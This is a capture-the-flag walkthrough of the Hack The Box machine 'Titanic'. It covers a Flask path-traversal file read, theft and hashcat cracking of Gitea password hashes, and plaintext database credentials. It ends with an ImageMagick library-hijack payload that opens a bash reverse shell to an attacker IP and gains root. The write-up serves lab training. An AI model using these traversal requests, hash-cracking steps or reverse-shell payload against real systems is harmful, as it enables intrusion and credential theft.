HTB Titanic
1. Recon
/etc/hosts first: 10.129.231.221 titanic.htb. nmap full TCP sweep finishes in 40 seconds: 22 (OpenSSH 8.9p1 Ubuntu 3ubuntu0.10) and 80 (Apache httpd 2.4.52), 65533 closed. Both banners are Ubuntu 22.04 jammy defaults, which pins the OS before nmap's generic Linux guess does.


SSH has no creds yet, so the attack surface is port 80 and whatever the web app leaks.
2. Web: an endpoint that demands a parameter
dirsearch with the DirBuster 2007 medium list (220,544 words) comes back thin: /download 400 (41 B), /book 405 (153 B), /server-status 403. A 400 that small means the endpoint exists and is refusing to run without an argument. That's an invitation to guess the parameter name, and the booking site's own form supplies it: ticket.

Probing it directly with a traversal payload:
http://titanic.htb/download?ticket=../../../../etc/hostsThe browser renders Internal Server Error, and the file downloads anyway. The 500 fires after send_file has already done its job. Mousepad shows the target's /etc/hosts, and line one is a gift: 127.0.0.1 localhost titanic.htb dev.titanic.htb. The first arbitrary read doubles as recon and hands over the internal vhost.



3. Gitea: the source is public
dev.titanic.htb/explore/repos is Gitea 1.22.1 with two repositories under developer: docker-config and flask-app. The page still shows Register and Sign In: the repos are publicly readable, so no credential work is needed to read the entire application source.

flask-app/tickets/ shows what bookings look like: one <uuid4>.json per customer (Jack Dawson, Rose DeWitt Bukater: the payload is a name, email, phone, date, cabin class). Bookings persist as files under a tickets directory, and /download serves them by name.


docker-config is where the box pays out. mysql/docker-compose.yml carries plaintext credentials (root MySQLP@$$w0rd!, app user sql_svc : sql_password, db tickets), but MySQL binds to 127.0.0.1:3306, so none of it is directly reachable. Park the creds for reuse.

gitea/docker-compose.yml matters more: the volume mount - /home/developer/gitea/data:/data publishes the host path of Gitea's data directory. That single line aims the traversal for the rest of the box.

4. The traversal: nine lines of Python
The vulnerable handler, from developer/flask-app on Gitea:
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket) # ← no sanitization
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)os.path.join never normalizes away ../: attacker input lands in the path untouched, and send_file serves any file the Flask process can read (CWE-22). Apache reverse-proxies to Flask on loopback 5000, so the read runs with the web process's permissions.
The user flag needs no shell:
http://titanic.htb/download?ticket=../../../../home/developer/user.txt
133365f3b8f5c3b5f6f6f5d995666ac2 for that instance. (The box was reset before the root phase: the developer shell later reads a different user.txt, 47e1108be2fb016aeb390c8497d7ee45. Same file, new instance; don't chase the mismatch.) A file-read primitive can close out the user phase on its own: worth checking flag permissions before hunting an interactive foothold.
5. Stealing gitea.db
The Gitea volume path from section 3 turns the file read into credential theft:
http://titanic.htb/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.dbDB Browser opens the downloaded file: 111 tables, stock Gitea schema. The user table holds two rows, administrator (id 1) and developer (id 2), each with passwd and salt columns:
administrator cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

Both hashes are 100 hex chars = 50 bytes: neither SHA-256 (64 hex) nor SHA-512 (128). Gitea's scrypt config also uses a 50-byte key, so the length alone is genuinely ambiguous. The next column settles it: passwd_hash_algo reads pbkdf2$50000$50 on both rows: PBKDF2-SHA256, 50,000 iterations, 50-byte key.

Details that decided the crack:
- Read the algorithm column, not the digest length: 50 bytes fit both scrypt and PBKDF2, and picking wrong wastes the whole hashcat run on mode 8900.
- Hashcat 10900 wants base64, not the hex the database stores: format is
sha256:iterations:salt_b64:hash_b64. --user: each line carries a username prefix, so the file isn't a bare hash list.
6. Cracking → developer shell
The columns are hex, hashcat wants base64, so every field goes through xxd -r -p | base64:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
name=$(echo "$data" | cut -d'|' -f 3)
echo "${name}:sha256:50000:${salt}:${digest}"
done | tee gitea.hasheshashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
# developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THT...:25282528One of two digests falls in 43 seconds at ~794 H/s: developer's password is 25282528. administrator's hash never cracks, and never needs to. Same pattern as Usage and Postman: crack the one account you need, not all of them.

The password survives the move from Gitea to SSH:
ssh developer@titanic.htb # 25282528
7. Privesc: the dead ends first
Basics close fast: sudo -l returns Sorry, user developer may not run sudo on titanic.

linpeas goes over via a Python http server on Kali:
curl -o linpeas.sh http://10.10.14.204:1212/linpeas.sh && chmod +x linpeas.sh
The usual suspects are all patched out:
- Kernel exploits: the suggester ranks DirtyPipe (CVE-2022-0847, 5.8–5.16.11) and watch_queue (CVE-2022-0995); both are dead on a maintained jammy 5.15 kernel with backported fixes.
PwnKit: /usr/bin/pkexec is SUID, and two attempts (precompiled PoC, self-compiled exploit.c, gcc is on the box) fail identically:
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”That GLib error is the patch: Ubuntu neutralized the gconv half of CVE-2021-4034, so pkexec just prints its usage text. Third consecutive box (Usage, Networked, Titanic) with SUID pkexec present and patched.
8. Root: the cron script that cd's
linpeas earns its keep in the file-permission sections instead: a root-owned log regenerating inside a developer-group directory.


/opt/app/static/assets/images/metadata.log is root:developer, 442 bytes, modified at 15:12, minutes before the scan. A root job writes there. /opt/scripts/identify_images.sh (world-readable) is the job:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.logTwo facts compose the vulnerability. The script runs as root, and it cds into a directory developer can write to, which puts the working directory of a root process under attacker control. ImageMagick resolves libxcb.so.1 from its current working directory (GHSA-8rxc-922v-phg8), so a planted libxcb.so.1 gets dlopened by the next root-run magick identify and its ELF constructor executes as root.
Payload compiled on-box (gcc is installed), listener on Kali :443:
cd /opt/app/static/assets/images
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("bash -c 'bash -i >& /dev/tcp/10.10.14.204/443 0>&1'");
exit(0);
}
EOFThe exit(0) matters: the constructor returns before ImageMagick touches the real library, so magick never crashes and the cron job keeps running clean.
Next cron tick, Penelope catches the callback, upgrades session 3 to a PTY, and the prompt reads root@titanic:
root@titanic:/opt/app/static/assets/images# cat /root/root.txt
7f7d631f3f93d3a3857ade3da15d6002


